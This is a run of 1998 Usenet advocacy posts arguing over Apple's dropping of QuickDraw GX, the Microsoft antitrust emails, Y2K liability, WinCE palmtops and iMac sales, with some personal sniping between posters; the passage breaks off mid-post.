>
> >In article <3655cfd9.23479416@news.chicagonet.net>,
> >milo_mklinux@my-dejanews.com (Milo MkLinux) wrote:
> >
> >> I posed some questions to M. Rassbach in previous posts. After doing
> >> nothing but insult me, in his single reply, he disappeared. He must
> >> either have no integrity or he must have died.
> >
> >....something about bullshit walking
> >Peter
>
> Is this person known for being a bullshitter? Has anyone else seen
> any other posts by him recently? He brought up some things that
> I'd geniunely like answers for. You see the questions. Should I
> dismiss the things he said?
>
> >--
> >"don't you eat that yellow snow
> > Watch out where the huskies go"
> > FZ
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 24 Nov 98 10:24:07 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28039CE-2AC34@206.165.43.203>
References: <none-ya02408000R2411980848240001@nntp.news.netcom.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
I enjoy "fighting city hall" if I know that I am correct. Now, if my advice
to you was bad, I'm sorry. I *usually* warn people that GX is politically
incorrect to use and won't be useful when 8.6 ships unless things change at
Apple, but in my defense, I'd like to point out that you can use GX to
*prototype* a solution and move on while waiting for a more "robust" answer
to the question.
And, in the case of 68K users and non-MacOS 8.6 users (all users of MacOS
8.6 please raise their hands), GX will work just fine and will be the ideal
solution to a sizeable number of problems until a sizeable chunk of Mac
users switch to MacOS 8.6.
Darrin Cardani <none@nospam.spam> said:
>Lawson,
> This is a problem you have brought upon yourself. People won't defend
>you, even when you're right, because you're a jerk. You can't seem to get
>it through your thick skull that, although you like some of the
>technologies Apple is killing, Apple has decided to kill them, and the
rest
>of us are getting on with our lives.
> I posted a question the other day, asking about the proper use of the
>StdBits call. I just wanted to know what preconditions were necessary to
>get a picture to display properly using it. You answered my question by
>saying, "Quickdraw GX will do what you want". That did not answer my
>question. Then in a different post on a different thread you said that you
>were aware Apple would no longer be supporting GX as of System 8.6, due
>out
>in January. So essentially you suggested I use a technique that will work
>for exactly 1.5 months.
> Why would anyone want to defend someone who acts like that? If I was a
>newbie, I might have taken your advice only to find out that it was
>incredibly short sighted advice a month or two later. All I can say is
>welcome to my kill file.
>
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 17:24:46 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981224050001@pm61-44.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <365ADF70.FE06A773@earthlink.net>
J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> Interesting you say that as I haven't used anything DOS in ages,
So you use linux instead of Windows? That's nice.
> and I
> was unaware that the current generation of Apple products were
> completely incompatible with earlier Mac software.
Not so. They just run in emulation. Quite nicely, at that.
Unlike much of the "existing" old Windows and DOS programs that Wintel
advocates claim to use, which are still DOS-based in most respects.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 17:25:41 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981225020001@pm61-44.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net>
"J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> What you completely miss is that Microsoft, even at the time of the 1995
> Consent Decree, offered (and still offers) multiple sales deals to
> companies, many of them without any restrictions whatever.
Name one. "Buying full copies of Windows at retail price" isn't one of
them, by the way.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: mazulauf@localhost.localdomain ()
Newsgroups: comp.sys.mac.advocacy,comp.sys.newton.misc,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A question for MIlo
Date: 24 Nov 1998 17:26:10 GMT
Organization: University of Utah - ACLIS
Message-ID: <slrn75lr5m.br.mazulauf@grumpy.met.utah.edu>
References: <3655cfd9.23479416@news.chicagonet.net> <macdev-2011982211260001@sdn-ar-001casbarp022.dialsprint.net> <365ace9a.5362123@news.chicagonet.net>
NNTP-Posting-Date: 24 Nov 1998 17:26:10 GMT
On Tue, 24 Nov 1998 15:46:21 GMT, Milo MkLinux <milo_mklinux@my-dejanews.com>
wrote:
>
>I can't imagine what I did to offend Mike Zuluaf. He seems
>determined to dog my every step, and do everything in his power to
>slander and discredit me. I don't know or care what his problem
>is. I'll just ignore him.
Edwin, Edwin, Edwin. Where have I slandered you? I've called into
question your intelligence, not only because I believe you are playing a
silly game, but also because your postings are so frequently wrong. But
I haven't slandered you.
I have a question for you, which you can answer whether or not you are
Edwin. Why the name Milo MkLinux, when you use LinuxPPC instead? You
seem to be putting yourself forward as some type of MkLinux authority,
but it seems as if your knowledge of it is really quite limited.
In fact, why post using a bogus name anyway? Why not stand behind your
posts? It makes you look like you have something to hide. Which,
frankly, I believe you do.
See ya later, Edwin,
Mike
--
Mike Zulauf
mazulauf@atmos.met.utah.edu
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 12:18:16 -0500
Content-Transfer-Encoding: 7bit
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com> <F2L054.DJE@T-FCN.Net> <3659AEE8.D52972C0@spamtoNull.com> <3659c39f.0@news.depaul.edu>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <365AEA58.AAECC09A@spamtoNull.com>
Jonathan W Hendry wrote:
>
> You're acting as if these emails are of unknown provenance. They
> are not. They are coming off of Microsoft's own hardware, and
> the DOJ most likely has records of where at Microsoft they got
> particular emails. In fact, the emails were probably given
> to the DOJ *by Microsoft*.
>
> In other words, Microsoft gathered up their own email, and
> gave it to the DOJ. Microsoft can't very well claim that they
> don't know where the email came from.
How many employees are there at Microsoft? How many of them had access
to the hardware where these records were stored? Of those, how many had
hidden agendas for doing such a thing? Unless you can answer those
questions so that you can conclusively prove that each and every email
attributed to each and every employee at Microsoft was in fact written
by that employee, you have a problem.
Your contention that "Microsoft turned over the records so all of the
principals at Microsoft (Gates, etc.) had to be aware of what they were
turning over" is highly improbable, if you'll simply take a minute to
analyze the situation. Gates seemed to be caught flat-footed by
statements attributed to him in some of them, didn't he? Your theory
would strengthen the idea that the *opposite* should have occurred. If
Gates and pals had known of these emails *before* they were handed over,
they could have done one of two things to avoid any awkwardness in
handling questions based on those emails:
(1) They could have expunged them altogether thus making sure that no
embarrassing questions could have been asked in the first place. My own
view is that if Gates and pals were crooks it would not have bothered
them in the least to have done just that.
(2) Instead of expunging them, they could have merely conceited
convincing explanations and handled all questions concerning them with
ease and poise (a la' Clinton.)
But, it's obvious that *neither* of these things happened and Bill
Gates' inability to explain the statements in those emails attributed to
him is proof positive of that, I think.
So, then, I believe there's a very real question as to who wrote the
emails, in what context they were written, and what they actually mean.
>
> If there were any issues with the email, Microsoft would have
> objected to their use as evidence. They have not. Since they
> have not objected to the use of the email, they'd have a hard
> time using that in an appeal.
>
Even if Microsoft had objected to their use, what would you say the
chances would have been that Jackson would have allowed their use
anyway? Aside from that, I am not familiar enough with the details of
the proceedings to know all of the objections Microsoft has raised. I do
know that there have been many, and that Microsoft has lost most of them
(a la Jackson.)
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with
QuickTime Vectors
Date: 24 Nov 98 10:52:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28042FE-4D4CC@206.165.43.203>
References: <none-ya02408000R2411980848240001@nntp.news.netcom.net>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.mac.hypercard,
nntp://news.primenet.com/comp.sys.next.advocacy
Darrin Cardani <none@nospam.spam> said:
>Lawson,
> This is a problem you have brought upon yourself. People won't defend
>you, even when you're right, because you're a jerk. You can't seem to get
>it through your thick skull that, although you like some of the
>technologies Apple is killing, Apple has decided to kill them, and the
rest
>of us are getting on with our lives.
A quick question (rhetorical, since I am now in your kill-file):
if you COULD use GX indefinitely, would you?
This is a question that all Mac developers AND Mac users should be asking
themselves:
if Apple weren't killing GX with the next release of the OS, would
developers be willing to use it? Why or why not?
The standard answer that Apple gives for these technologies is that no-one
is using them and therefore no-one wants them.
But what if people DID want GX? What if Apple was NOT cancelling support
for GX in 8.6?
Would developers then use GX?
The answer would have to be "yes." GX offers a high-end graphics solution
for MacOS users who have color Macintoshes running System 7.1 or higher
with enough RAM. That's both PowerMac AND 68K Mac users, which is 2-3x more
potential customers than the highest possible market that 8.6-only
developers will have available for several years.
Now, if Apple were offering substantially better graphics services with
8.6, it would be understandable for developers to want to target 8.6-only
users.
But in fact, as far as *I* can tell, MacOS 8.6 won't be offering nearly as
robust a graphics engine as GX is, so obviously, end-users, if they were
well-informed, would prefer to be using GX-based graphics products, and
developers would prefer to use GX to develop their graphics products.
But Apple has decreed that GX is dead.
Why?
Because end-users don't use it? Why is that? Because end-users dont' know
what it can do. Had Apple bundled a simple GX-based wordprocesser and
drawing package ala MacWrite and MacPaint with GX, everyone would know what
GX can do and they would insist that all new applications use it. Apple
could have deliberately crippled the features of said package to not step
on any existing developer's toes. Instead, they assumed that "Market
Forces" would simply compel developers to use the technology. That hasn't
worked with any other technology that Apple has ever produced, including
Macintosh itself. When Gil Amelio decided to cut all TV ads, the
marketshare of Apple plummeted. When Steve Jobs decided to start TV ads
again, the plummet stopped and we may even be in a slight incline right
now.
It's marketing that does the trick. And GX never had any -not of the kind
that end-users can grasp unless they were also developers. And most
developers don't "get" GX either, because they aren't graphics end-users.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 18:03:35 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981302540001@pm61-44.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com> <F2L054.DJE@T-FCN.Net> <3659AEE8.D52972C0@spamtoNull.com> <3659c39f.0@news.depaul.edu> <365AEA58.AAECC09A@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> How many employees are there at Microsoft? How many of them had access
> to the hardware where these records were stored? Of those, how many had
> hidden agendas for doing such a thing? Unless you can answer those
> questions so that you can conclusively prove that each and every email
> attributed to each and every employee at Microsoft was in fact written
> by that employee, you have a problem.
Nope. As has been said before, if Microsoft pops up with a "someone
forged this!" defense, they're going to take a big hit in the gut.
It's not going to happen, anyway. The emails sent between Gates and his
buddies are only there to reinforce the external evidence that's been
bombaring Microsoft all through this case.
Listen... it's the fat lady... she's warming up...
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 24 Nov 1998 18:07:55 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-2411981307150001@pm61-44.magicnet.net>
References: <364295A3.ABE8C927@earthlink.net> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <cirby-1611981402400001@pm61-11.magicnet.net> <3651B16C.DB43A980@spamtoNull.com> <F2L054.DJE@T-FCN.Net> <3659AEE8.D52972C0@spamtoNull.com> <3659c39f.0@news.depaul.edu> <365AEA58.AAECC09A@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> (1) They could have expunged them altogether thus making sure that no
> embarrassing questions could have been asked in the first place. My own
> view is that if Gates and pals were crooks it would not have bothered
> them in the least to have done just that.
You're missing two things, though.
First, if they erased the files in order to slow the case, they'd be in
about as deep as they're getting in *with* the emails, since they'd be
"obstructing justice."
Second, you have to show that Gates and pals really thought that they were
going to get nailed on this. The evidence shows that they didn't, or that
they thought it would be a slap on the wrist. Look at that one bit where
Gates bragged that they hadn't changed business practices at all after the
Consent Decree.
Why bother covering up if you don't think you're going to get in trouble for it?
They severely misjudged the situation, and now they're getting backed into
a corner because of it.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: Matthias Bethke <unrzi8@cssun.rrze.uni-erlangen.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Tue, 24 Nov 1998 19:13:55 +0100
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <Pine.SOL.3.96.981124190057.20775C-100000@cssun.rrze.uni-erlangen.de>
References: <7329lg$ot0$1@nnrp02.primenet.com> <733u6n$a06$1@nnrp02.primenet.com> <36620e58.1564102@news.demon.co.uk>
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On Sun, 22 Nov 1998, Anthony Ord wrote:
> No, they have not said that UNIX variants have higher requirements.
For HP/UX I could as well have said that. Those 64MB crates have quite
some problems with the heavier jobs, like running Modthilla.
Fortunately the main morphological/syntactical analysis package used here
is pretty lean and mean, thus only the large text corpora can pose a
problem. (BTW: this was developed by a former Amiga programmer, go
figure...)
> You seem to have provoked a dick-size competition.
Kinda <g>
> Computation Linguistics. I would presume these people do real work,
> and aren't just running Word on their machine.
Yep. In fact, the only NT crate that had been running in the lab a year
ago is now collecting dust because nobody cares to keep it up.
Not a single copy of Word to be seen here.
> Presumably the DoD do real work too. Though other people may dispute
> that. ;-)
I'd only dispute the productiveness - computationally the simulation of
nuclear explosions easily eclipses even our largest projects.
> >[] Footnote server is currently down...
Lemme guess: "NT Server"? <eg>
ttyl!
Matthias
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 12:56:33 -0500
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Michael Peck wrote:
>
>
> But now that Jim Barksdale has run Netscape into irrelevance, McNealy
> has squandered Solaris' potential, and Steve Case has earned AOL the
> worst reputation in cyberspace, bitterness and jealousy rear their ugly
> heads.
>
> After all, we have before us a parade of executives who, on the one
> hand, claim to worship the virtues of competition, free markets, and
> capitalism, and on the other hand can't wait for a legal precedent based
> on federal action to strike down the so-called Microsoft "Monopoly". Uh,
> sure, guys. Maybe Barksdale will learn to bite his lip in the piteous
> way Bill Clinton has put to so much good use...
Yep, that's it exactly...
>
> This is the danger of such anthropomorphism. The "industry" is a not a
> thing or a person, it is a collection of individually-accountable
> parties. There is no "fault" for the Y2K bug; the laws of market
> economics clearly show that events occur according to economic
> incentive. If there is no incentive to fix the bug it will not be fixed.
To a certain extent I see what you're saying, but as you say,
"corporations" and "industries" are no more than aggregate descriptive
terms used to describe groups of individuals who have common motivations
and goals. We cannot understand an industry or a corporation if we do
not understand the individuals comprising it. All in all, it does boil
down to individual accountability and since corporations and industries
are controlled and populated exclusively by humans (and nothing else)
anthropomorphic analysis seems to me entirely appropriate.
The problem I see with your analysis of the Y2K bug is that it is not an
"elective" bug in that it is of such a fundamental nature that there can
be no rational choice made as to whether it may be addressed or ignored
(other types of software bugs do not fit this category.) Hence the
matter of "incentive" is irrelevant--the Y2k bug must be corrected and
there is no choice in the matter. So, for me, the operative word is not
"incentive" but rather "liability."
>
> Rest assured that there is incentive, and rest assured that it will be
> fixed. When malfunction destroys a pager satellite, or MAE EAST goes
> down, or an Ericsson AXE switch goes postal, and *somebody* is losing
> millions of dollars every 60 seconds, why do you think replacement
> equipment is suddenly so easy to find?
I agree completely that somebody will pay to fix the Y2K bug since there
is no choice as to whether it will be fixed. The question for me is "Who
should pay for it?" Should it be the taxpayers (government),
corporations, or the corporate programmers and individual programmers
responsible for it having to be fixed in the first place? I mean, is it
rational for a programmer doing major programs (financial programs,
military programs, utilities programs, etc.) any time within the last
ten years to assume that for some unknown reason the year 2000 will
never come and therefore it is unnecessary to design the programs with
that eventuality in mind? I don't think that is a rational concept. Of
course, for programs written prior to 1990 there may be some mitigating
circumstances, such as that the programmers fully expected their
programs to be completely replaced prior to 2000, hence they need not be
concerned with Y2k compliance.
"Who will pay for Y2k?" is indeed a thorny question...:) For software
companies like Microsoft, it's simple--Microsoft and these other
software companies have the liability for correcting Y2K in their own
software. But in other programming areas it is nowhere near as clear.
...The more I think about this the more depressing it becomes to
consider...What a gosh-awful mess...
From: Matthias Bethke <unrzi8@cssun.rrze.uni-erlangen.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Tue, 24 Nov 1998 19:46:33 +0100
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de>
References: <7329lg$ot0$1@nnrp02.primenet.com><ee352.3248$%X5.8067515@newsgate.direct.ca><732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net><01be1452$1e5eb6b0$a007280a@ntw_bmladmin><01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default>
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On 22 Nov 1998, Bjørnar Bolsøy wrote:
> > > Actually, MS has managed to develop a few decent
> > > products from time to time. WinCE is a good example
> > > IMO, with a full win32 complient API with a host of
> > > elegant features basically fitting inside a 200Kb footprint.
M-BASIC is said to have been quite good for its time, too. Fit into an 8K
EPROM, although that was kinda big at the time as well. And strictly
speaking it's Gates but not M$.
> > WinCE-based products. Every single time. The criticisms?
> > Slow, buggy (read: crash-prone, IIRC), expensive, bloated,
> > battery-killers. In short: palm-top versions of Microsoft's
> > desktop products.
> >
> > Somehow, I was not surprised.
>
> I see a bit of apples and oranges here.
Crash-prone at least is an absolute term.
> While the P3 performes very well in its traditional
> areas of use, simple apointment scheduling for
> people on the move (like my Psion3c), WinCE is
> really targeted at a more powerful segment, typically
> demanding better Internet and network connectivity,
You mean, to have a more "powerful" palmtop, bugs, bloat and short battery
life for a higher price are a good deal?
> better integration with your Win95 box, a keyboard,
*Demanding* indeed. Applications that are called the same like their
PeeCee counterparts abut are not even file-format compatible. That is, one
can read the other, but the result looks quite different.
> high resolution color screens,
Sure, WinCE is unusable without one. So the OS demands the screen, not the
task the user wants hir palmtop to perfom.
> virtual writing,
"Virtual" as opposed to "real"? Imagine, I can virtually write without a
computer at all!
> printing
Printing from a palmtop? With a printer five times the size of the
computer? If you carry anything around that can print an A4 sheet you
could just as well add a full-blown Notebook with a decent OS.
> There's a large number of excellent reviews of WinCE
> on the net. A good starting point is perhaps:
>
> http://www.wincecity.com/reviews-software.html
^^^^^^^^^ Just why don't those excellent reviews in such a
place surprise me? Not *that* excellent afer all - quoting the HP Jornada
review:
"The Jornada seems to be a nice fit for the mobile professional who needs
*only* to communicate with others, and deal with *simple documents*."
[Emphasis added by me, already tells a lot] On it goes:
"The battery life and weight of the Jornada seem to be most appealing for
people on the go."
[1st place in euphemism!]
"The e-mail capabilities are great although the Internet browser could use
some work."
[Email? Gimme a break! You need a 6502 for email, not a 190MHz StrongARM!]
"The price seems a bit high to me considering I can get a laptop running
Windows 98 and a full fledged Internet browser for approximately $1200 or
so, but as time goes on I'm sure some of these kinks will be worked out."
[If that's as CE-friendly as it gets...]
BTW, I can't help but notice the many games announcements on
wince-city.com (think their name is an intended pun?). Doesn't quite fit
the image of the "travelling professional". More like people who owned an
Atari Lynx years ago because they disliked the GameBoy's B/W display :-)
ttyl!
Matthias
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:07:41 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > What is Apple doing to persuade X86 users to defect?
>
> Selling iMacs. Quite nicely, to boot. Major sales gains.
I'm sorry, but I haven't seen any evidence of that. How on earth do you
figure that I, for instance, who am very much concerned with hardware
choice, availability, and UPgradability, as well as *timely* software
availability and choice, would *ever* be interested in an iMac? That
does not compute...:)
>
> > What is Dell doing to bring over Mac users?
>
> Selling PCs aimed at the graphics market. They're not doing it as well,
> though. They're mostly getting PC users who used to buy Intergraph
> workstations (the last PC company that tried to compete with Apple in the
> graphics market). Intergraph, incidentally, lost about as much money this
> year as its entire value...
>
Dell also includes graphic systems incorporating other graphics devices,
like nVidia's for instance. As far as Intergraph goes, my own take on
that specific company is that it is simply unable to compete in the huge
and highly competitive graphics market. BTW, which specific Apple
systems do you know of that directly compete with the systems Intergraph
was was selling? What high end graphics adapters does *Apple* make, and
of the companies making powerful graphics adapters for Mac PCI slots,
which of them are *not* also available for the PC?
I'm sure you didn't mean to imply that the iMac is a "powerful graphics
box" anywhere near the caliber of what Intergraph has sold in the past,
because it certainly isn't.
But I'm afraid you missed the point. I was talking about promotional
programs done by Apple for the express purpose of wooing X86 users away,
or promotionals done by Dell for the express purpose of moving Mac users
away. I can't think of any off hand.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 13:42:29 -0500
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Chad Irby wrote:
>
> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > So, then, Apple killing off Mac clone companies (or buying them off) is
> > not considered "stifling competition in the marketplace"?
>
> No, because the "marketplace" is the whole personal computer market, not a
> narrowly-defined segmant of it.
So you're saying that when Gates does something that affects Window
users it has as great an affect on Mac users who don't use Windows?
>
> No, Apple "gets by" with it because it's a very different case, and you'd
> know that if you could understand what a "monopoly" truly is.
I see....hmmmm....so when Microsoft makes changes to Windows I am
directly affected even though I use the Mac OS, and when Steve Jobs
makes changes to the Mac OS it directly impacts me as a Windows
user....Fascinating...:)
>
> > At least, then, because consumers have several other OS's to choose from
> > aside from Microsoft OSs we can at last dispense with the claim that
> > "Microsoft is a monopoly."
>
> No, because, even taken in aggregate, those other operating systems only
> add up to a few percent of the market that Microsoft currently owns about
> 09% of worldwide.
>
OK, what percentage of the hardware Mac environment world-wide does
Apple own? Last time I looked it was 100%. Hmmm....what percentage of
the world-wide Apple market uses Windows running on their Macs? What's
that? < 5%, you say? By your own figures, 90% of all Apple users world
wide *should be* running Windows because the Mac OS and Windows OS share
exactly the same market. I don't understand. What's wrong?
From: Michael <michael@tone.ca>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: In my own paranoid (?) defense... (Was Re: A problem with QuickTime
Vectors
Date: Tue, 24 Nov 1998 14:11:44 -0500
Organization: Styx DTP
Sender: monner@dial03p61.ottawa.storm.ca
Message-ID: <365B04ED.2527DF42@tone.ca>
References: <none-ya02408000R2411980848240001@nntp.news.netcom.net> <B28042FE-4D4CC@206.165.43.203>
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NNTP-Posting-Date: 24 Nov 1998 19:12:45 GMT
I am using Creator2, a GX application, as my layout program and ad
design program of choice, (at least until I get a chance to try
PasteUp). It's got slight problems in release 1, but 1.5 is due shortly.
This program had very good reviews and I think will have a solid niche
market in the publishing (particlar newspaper) industry.
It uses GXGraphics extension instead of the full QDGX install, and
enables type 1 fonts on the fly as it loads, thus removing any potential
interference with non-gx apps, thus eliminating any residual reason
reviewers might have for labeling the use of GX as a dis-advantage.
Now whats this about 8.6? Will the GXGraphics extension np longer work,
or just the full QDGX install? Anybody know?
When I ask the developers of Creator2 about their path to MacOSX, they
say they can't comment because of a non-disclosure agreement. So
something is obviously known that they can't talk about. This doesn't
sound like a case of Apple abandoning GX developers to me.
The other big dead-end product I use is Hypercard, so let me know when
your GXCMD is ready. You probably have one customer.
Michael Monner
__________
Lawson English saith:
But in fact, as far as *I* can tell, MacOS 8.6 won't be offering nearly
as
robust a graphics engine as GX is, so obviously, end-users, if they were
well-informed, would prefer to be using GX-based graphics products, and
developers would prefer to use GX to develop their graphics products.
But Apple has decreed that GX is dead.
Why?
Because end-users don't use it? Why is that? Because end-users dont'
know
what it can do. Had Apple bundled a simple GX-based wordprocesser and
drawing package ala MacWrite and MacPaint with GX, everyone would know
what
GX can do and they would insist that all new applications use it. Apple
could have deliberately crippled the features of said package to not
step
on any existing developer's toes. Instead, they assumed that "Market
Forces" would simply compel developers to use the technology. That
hasn't
worked with any other technology that Apple has ever produced, including
Macintosh itself. When Gil Amelio decided to cut all TV ads, the
marketshare of Apple plummeted. When Steve Jobs decided to start TV ads
again, the plummet stopped and we may even be in a slight incline right
now.
It's marketing that does the trick. And GX never had any -not of the
kind
that end-users can grasp unless they were also developers. And most
developers don't "get" GX either, because they aren't graphics
end-users.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 13:26:26 -0500
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Rob Barris wrote:
>
> I don't know what Apple (and Dell) are doing other than making an effort
> to sell a competitive personal computer product, but the sales numbers and
> surveys for iMac indicate that such migrations do in fact occur. The
> magnitudes and significance of such switches are open to debate of course.
>
Couple of things wrong with this...although Apple did some PR (or hired
out) "surveys" that purport to show that 30% of iMac buyers (during an
unknown period in unknown geographical locations of unknown quantity)
were either first-time-computer buyers or else computer buyers who
already owned X86 systems, there is much these "surveys" did not
mention. First, Apple released no figures at all on the number of Apple
"defections"--that is, Mac users migrating from the Mac or a Mac clone
into the X86 market. Understandably, these statisitics have no PR value
for Apple, so I doubt Apple even attempts to discover those numbers. If
Apple does have a rough idea, you can bet you'll never hear it from
their lips...:) Second, there is no distinction made between the "first
time buyer" category and the "X86 owner category." Instead, these
disparate categories are lumped together. This leads me to believe that
the first-time-buyer category was in fact much larger than the "X86
owner" category. So, by lumping the two together it makes it appear that
many more X86 owners were buying iMacs than Apple's own data actually
showed. It's not a lie, just a deft skewing of the facts for "maximum
positive Apple PR." However, it's certainly not accurate or telling.
Third, the results do not mention any of the "X86 owners" actually
planning to abandon the X86 market completely--apparently no questions
were asked as to whether these "X86 owners" would be dumping their X86
environments.
What I was talking about were things done by Apple to lure in X86
owners--marketing tactics specifically aimed at them, like "Bring in
your X86 system and move up to a Mac and save $1,000" and that sort of
thing. Ditto, I don't see Dell doing promotions like "$500 and your Mac
drops you in the front seat of a Dell" and so forth.
From: Jonathan Harker <Limeyville@spamtoNull.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Tue, 24 Nov 1998 14:29:26 -0500
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Chad Irby wrote:
>
